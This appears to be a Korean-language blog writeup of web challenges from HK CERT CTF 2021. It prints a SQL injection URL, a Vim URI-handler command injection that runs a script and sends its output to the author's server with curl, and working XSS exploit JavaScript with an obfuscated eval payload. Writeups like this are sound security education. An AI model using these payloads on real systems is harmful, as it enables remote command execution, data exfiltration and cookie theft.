Profile

i love cat

as3617

HK CERT CTF 2021 writeup - WEB

Squirrel Community 1

http://chalf.hkcert21.pwnable.hk:28062/chat/user?id=323079825'

sql injection이 터진다.

http://chalf.hkcert21.pwnable.hk:28062/chat/user?id=3230%20or%201

where 뒤를 true로 만들면 플래그를 얻을 수 있다.

FLAG : hkcert21{squirrels-or-1-or-2-or-3-and-you}

babyxss

그냥 xss하면 된다.

FLAG : hkcert21{zOMG_MY_KEYBOARD_IS_BROKEN_CANNOT_TURN_OFF_CAPSLOCK111111111}

babyuxss

bot url만 준다. javascript scheme 쓰면 된다.

FLAG : hkcert21{javascript_c010n_UXSSstands4UXSSedUrself_hochihai} 

babyurii

#!/usr/bin/env python3
import argparse
from urllib.parse import unquote, urlparse
import os
import subprocess

def main():
    p = argparse.ArgumentParser(description='Vim URI Handler')
    p.add_argument('--install', action='store_true', help='Register MIME in the system')
    p.add_argument('uri', nargs='?', help='URI to open')
    a = p.parse_args()
    if a.install:
        install()
    elif a.uri is not None:
        open_file(a.uri)
    else:
        p.print_help()

def install():
    path = os.path.abspath(__file__)
    desktop = f"""[Desktop Entry]
Name=Open file in Vim
Type=Application
Exec=python3 {path} %u
MimeType=x-scheme-handler/vim"""
    dirname = os.path.expanduser('~/.local/share/applications')
    if not os.path.exists(dirname):
        os.makedirs(dirname)
    open(dirname+'/open_in_vim.desktop','w').write(desktop)
    subprocess.check_call(['xdg-mime','default','open_in_vim.desktop','x-scheme-handler/vim'])
    print('Installed')

def open_file(uri):
    p = urlparse(uri)
    path = unquote(p.path)
    line, _, column = p.fragment.partition(':')
    lc = ''
    try:
        lc += str(int(line))+'G'
    except ValueError:
        pass
    try:
        lc += str(int(column))+'|'
    except ValueError:
        pass
    cmd = ['vim']
    if lc != '':
        cmd.append('+norm '+lc)
    cmd.append(path)
    try:
        os.system('touch /home/as3617/exec')
        subprocess.check_call(cmd)
    except Exception:
        pass

if __name__ == "__main__":
    main()

vim을 firefox handler로 install한다.

vim:/etc/passwd#1:1

meta tag를 이용하여 위와 같이 redirect할 경우 subprocess는 다음과 같이 인자를 전달한다.

['vim','+norm 1G1|','/etc/passwd']

처음엔 fragment 부분을 통해 임의의 명령을 실행해보려했지만 실패했지만 urlparse 부분에 경로를 제대로 안줘도 잘 들어가는 것을 확인할 수 있었고 인자로 잘 전달되는 것을 확인할 수 있었다.
image

그럼 경로 부분에 +!~~~와 같이 넣으면 임의의 명령을 실행할 수 있을거라 생각했고 플래그를 얻을 수 있었다.

<meta http-equiv="refresh" content="0; url=vim:+!curl myserver -F data=`/proof_7cfcd9fc-50ad-4d65-a24e-0b57ab47a376.sh`#1:1"></meta>
FLAG: hkcert21{ItsNotaBug_ItsaFeature_not_U-1F41B_but_U-1F41E}

Return_of_babyURli

위의 문제와 동일한 사이트에서 이번엔 bot의 쿠키를 탈취하면 된다.

Content-Security-Policy: default-src 'none';

csp가 설정되어서 bypass할 방법이 없어보였는데 /report page에서 xss가 가능했다. 내 서버로 불러 온 다음에 적절하게 referrer을 조작하여
iframe src에 javascript scheme이 들어가게 하면 xss를 얻을 수 있다.

FLAG : hkcert21{111y_YU57111wamaXSS1fUcanRCE_Yur1} 

the wilderness

https://www.exploit-db.com/exploits/49933가 터진다. 그냥 저거 써주면 된다.

hkcert21{vu1n3r1b1li7ie5_m1gh7_c0m3_fr0m_7h3_5upp1y_ch41n}

Ophiuchus

가장 재밌는 문제였다. 대회 끝나기 7분 전에 풀었는데 티오리랑 우리팀만 풀어서 기분이 좋다. ㅎ

iframe으로 여러 페이지가 embed되있는데 output.html에서 취약점이 터진다.

<script>
onload = function(){
    if(!/^#[0-9A-Z+=\[\]]{6}$/.test(location.hash)){
        document.write();
    }else{
        document.getElementsByTagName('p')[0].innerText = location.hash.substr(1)+"!?";
        onmessage = function(e){
            if(e.origin !== location.origin) return;
            if(document.getElementsByTagName('p')[0].innerText.indexOf(e.data) == -1) return;
            if(e.data == "!"){
                document.getElementsByTagName('span')[0].innerText = '';
            }else if(e.data == "?"){
                document.getElementsByTagName('span')[0].innerText = eval(document.getElementsByTagName('span')[0].innerText);
            }else{
                document.getElementsByTagName('span')[0].innerText += e.data;
            }
        }
    }
}
onhashchange = ()=>location.reload();
</script>

eval함수로 span태그의 innerText가 들어가는데 해당 값은 postMessage함수를 통해 전달된 데이터가 들어가기 때문에 전송하는 데이터를 컨트롤 할 수 있다면 xss를 할 수 있다.
postMessage를 쓰는 page를 찾아보았는데 cursor.html에 있었다.

<script>
onresize = function(){
    if((innerHeight-35) % 105 == 0 && (innerWidth-35) % 105 == 0){
        parent.parent.frames[1].postMessage("ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789+     [!=?]    "[(innerHeight-140)/105*13+(innerWidth-140)/105],"*");
    }
}
</script>

해당 함수는 resize 이벤트가 트리거될 때 발생하고 보낼 수 있는 data는 ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789+ [!=?]에서 한 번에 한 개씩 보낼 수 있었다.
게다가 (innerHeight-140)/105*13+(innerWidth-140)/105를 통해 보내는 데이터가 결정되며

if(document.getElementsByTagName('p')[0].innerText.indexOf(e.data) == -1) return;

output.html에서 fragment에 있는 6개의 문자열에 포함된 data가 아니면 span tag안에 안 넣어준다. 그렇다고 fragment를 변경하면 page를 reload하기 때문에 우리가 쓸 수 있는 문자는 6개 뿐이다.
그 이후로 좀 막혀있었는데 힌트로 아래의 내용이 올라왔다.

The author's solution uses CS+[=] and the length of the payload is 216, which could be correctly executed in 30 seconds 50% of the time.

!?는 기본적으로 추가되므로 출제자는 ?!CS+[=]만을 이용해서 풀었다는 것이다.
무엇을 사용해야할지 알았으므로 이제 payload만 짜면 된다.

일단 data는 parent.parent.frames[1].postMessage로 날라가기 때문에 저거에 맞게 iframe을 배치해줘야한다.

a.html
  - a11.html
     - cursor.html
  - output.html

위와 같이 iframe이 배치된다면 output.html에 접근하여 postmessage를 보내는 것이 가능하다.

이제 필요한 건 우리의 payload에 맞게 resize event를 트리거하는 것이다. innerheigth와 innerwidth의 조건에 맞게 code를 작성하면 아래와 같다.

function sleep(ms) {
  return new Promise(resolve => setTimeout(resolve, ms));
}

function plus(){

xs.height=350
xs.width=1295
}

function openn(){
xs.height=455
xs.width=560
}

function close(){
xs.height=455
xs.width=980
}

function c(){
xs.height=140
xs.width=350
}

function s(){
xs.height=140
xs.width=2030
//xs.height=245
//xs.width=665
}

function eq(){
xs.height=455
xs.width=770
}

function ev(){
xs.height=455
xs.width=875
}

function clear(){
xs.height=875
xs.width=875
}
function translate(j){
temp=''
for (x in j){
if(j[x]==='['){
temp+='openn();await sleep(42);clear();await sleep(43);'}
else if(j[x]===']'){
temp+='close();await sleep(42);clear();await sleep(43);'}
else if(j[x]==='+'){
temp+='plus();await sleep(44);clear();await sleep(43);'}
else if(j[x]==='C'){
temp+='c();await sleep(42);clear();await sleep(43);'}
else if(j[x]==='S'){
temp+='s();await sleep(42);clear();await sleep(43);'}
else if(j[x]==='='){
temp+='eq();await sleep(42);clear();await sleep(43);'}
}

eval('async function xc(){'+temp+'};xc().then(()=>ev());')}

이제 payload를 짜고 translate함수의 인자로 넘겨주면 xss를 얻을 수 있다.
payload의 간소화를 위해 eval(name)을 만들기로 했고 아래의 payload를 실행하면 eval(name)을 만들 수 있다.

# 303 length
[CC=[CSS==CSS]+[[]==[]]+[][CSS]][C=[++[+[]][+[]]][+[]]]+[S=C+C+C]+[CS=CSS+[]][SS=[C][+[]][CS[S+C+C]+CS[C]+CC[S+S+S+C]+CC[S+S+C]+CC[+[]]+CC[C]+CC[C+C]+CS[S+C+C]+CC[+[]]+CS[C]+CC[C]]+[]]+[CS=CC[S]+SS[S+S+S+S+S+S+S+S+C]+CC[S+C+C]+CC[S+S]+SS[S+S+S+S+S]+SS[C+C]+CC[S+C+C]+SS[S+S+S+C+C]+CC[S]+SS[S+S+S+S+S+C]]

이를 토대로 최종 페이로드를 구상하였고 플래그를 얻을 수 있었다.

payload : https://gist.github.com/as3617/5ea79d2567d8e1f40ba0b037aaf5cc38 
FLAG : hkcert21{Res123Or1entedProgramm1ng__CrossSiteScripting}

'ctf writeup' 카테고리의 다른 글

Real World CTF 4th - web writeup  (0) 2022.01.30
m0leconCTF 2021 final web writeup  (0) 2021.12.04
CyberGuardians CTF all writeup  (0) 2021.11.10
asis ctf 2021 - web writeup  (0) 2021.10.25
2021 Whitehat Contest Finals web writeup  (0) 2021.10.10